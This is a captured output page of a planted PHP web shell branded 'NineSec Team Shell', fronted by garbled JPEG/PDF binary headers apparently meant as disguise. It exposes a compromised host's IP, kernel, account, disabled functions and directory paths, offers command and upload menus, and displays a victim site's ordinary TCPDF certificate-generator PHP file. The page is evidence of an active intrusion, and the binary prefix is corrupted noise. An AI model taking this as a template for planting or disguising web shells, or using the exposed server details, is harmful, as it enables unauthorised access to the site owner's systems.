JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.112
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/includes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/includes/certificate_generator.php
<?php
function generateCertificate($user_id, $event_id, $registration_data) {
    require_once 'tcpdf/tcpdf.php';
    
    // Create new PDF document
    $pdf = new TCPDF('L', 'mm', 'A4', true, 'UTF-8', false);
    
    // Set document information
    $pdf->SetCreator('Princess UAE');
    $pdf->SetAuthor('Princess Asie Kabuki Ocansey');
    $pdf->SetTitle('Certificate of Participation');
    $pdf->SetSubject('Event Participation Certificate');
    
    // Remove default header/footer
    $pdf->setPrintHeader(false);
    $pdf->setPrintFooter(false);
    
    // Set margins
    $pdf->SetMargins(15, 15, 15);
    $pdf->SetAutoPageBreak(TRUE, 15);
    
    // Add a page
    $pdf->AddPage();
    
    // Certificate content
    $html = createCertificateHTML($registration_data);
    
    // Output the HTML content
    $pdf->writeHTML($html, true, false, true, false, '');
    
    // Create directory if not exists
    $certificate_dir = 'certificates/' . $event_id . '/';
    if (!is_dir($certificate_dir)) {
        mkdir($certificate_dir, 0755, true);
    }
    
    $filename = $certificate_dir . 'certificate_' . $user_id . '.pdf';
    
    // Save PDF file
    $pdf->Output($_SERVER['DOCUMENT_ROOT'] . '/' . $filename, 'F');
    
    return $filename;
}

function createCertificateHTML($data) {
    $full_name = $data['first_name'] . ' ' . $data['last_name'];
    $city = $data['city'] ?: $data['country'] ?: 'UAE';
    $event_title = $data['title'];
    $event_date = date('F j, Y', strtotime($data['event_date']));
    $current_date = date('F j, Y');
    
    return '
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <style>
            body {
                font-family: "Times New Roman", Times, serif;
                background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
                margin: 0;
                padding: 0;
                color: #333;
            }
            .certificate-container {
                background: url("../assets/certificate-bg.png") no-repeat center center;
                background-size: cover;
                border: 20px solid #d4af37;
                padding: 40px;
                text-align: center;
                position: relative;
                min-height: 600px;
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
            }
            .gold-border {
                border: 3px solid #d4af37;
                padding: 30px;
                background: rgba(255, 255, 255, 0.95);
                box-shadow: 0 0 30px rgba(212, 175, 55, 0.3);
            }
            .header {
                margin-bottom: 30px;
            }
            .header h1 {
                color: #d4af37;
                font-size: 36px;
                margin: 0;
                text-shadow: 2px 2px 4px rgba(0,0,0,0.1);
                font-weight: bold;
                letter-spacing: 2px;
            }
            .header h2 {
                color: #333;
                font-size: 20px;
                margin: 10px 0 0 0;
                font-style: italic;
            }
            .content {
                margin: 30px 0;
            }
            .certificate-text {
                font-size: 16px;
                line-height: 1.6;
                color: #333;
                margin-bottom: 20px;
            }
            .participant-name {
                font-size: 32px;
                color: #d4af37;
                font-weight: bold;
                margin: 15px 0;
                text-transform: uppercase;
                letter-spacing: 1px;
                border-bottom: 2px solid #d4af37;
                padding-bottom: 8px;
                display: inline-block;
            }
            .event-details {
                font-size: 18px;
                color: #666;
                margin: 15px 0;
                line-height: 1.4;
            }
            .signature-section {
                margin-top: 40px;
                display: flex;
                justify-content: space-around;
                width: 100%;
            }
            .signature {
                text-align: center;
            }
            .signature-line {
                width: 200px;
                border-top: 1px solid #333;
                margin: 30px auto 8px;
            }
            .signature-name {
                font-size: 16px;
                font-weight: bold;
                color: #d4af37;
            }
            .signature-title {
                font-size: 12px;
                color: #666;
                font-style: italic;
            }
            .decoration {
                position: absolute;
                font-size: 80px;
                color: rgba(212, 175, 55, 0.1);
            }
            .top-left { top: 20px; left: 20px; }
            .top-right { top: 20px; right: 20px; }
            .bottom-left { bottom: 20px; left: 20px; }
            .bottom-right { bottom: 20px; right: 20px; }
            .watermark {
                position: absolute;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%) rotate(-45deg);
                font-size: 80px;
                color: rgba(212, 175, 55, 0.05);
                font-weight: bold;
                z-index: 0;
            }
        </style>
    </head>
    <body>
        <div class="certificate-container">
            <div class="watermark">PRINCESS UAE</div>
            <div class="decoration top-left">✦</div>
            <div class="decoration top-right">✦</div>
            <div class="decoration bottom-left">✦</div>
            <div class="decoration bottom-right">✦</div>
            
            <div class="gold-border">
                <div class="header">
                    <h1>CERTIFICATE OF PARTICIPATION</h1>
                    <h2>Princess UAE Events</h2>
                </div>
                
                <div class="content">
                    <div class="certificate-text">
                        This certificate is proudly presented to
                    </div>
                    
                    <div class="participant-name">' . htmlspecialchars($full_name) . '</div>
                    
                    <div class="certificate-text">
                        in recognition of active participation and valuable contribution to
                    </div>
                    
                    <div class="event-details">
                        <strong>"' . htmlspecialchars($event_title) . '"</strong><br>
                        held on ' . $event_date . '<br>
                        ' . htmlspecialchars($city) . '
                    </div>
                    
                    <div class="certificate-text">
                        Your dedication and enthusiasm have been truly appreciated.
                    </div>
                </div>
                
                <div class="signature-section">
                    <div class="signature">
                        <div class="signature-line"></div>
                        <div class="signature-name">Princess Asie Kabuki Ocansey</div>
                        <div class="signature-title">Founder, Princess UAE</div>
                    </div>
                    <div class="signature">
                        <div class="signature-line"></div>
                        <div class="signature-name">Date of Issue</div>
                        <div class="signature-title">' . $current_date . '</div>
                    </div>
                </div>
            </div>
        </div>
    </body>
    </html>';
}
?>

NineSec Team - 2022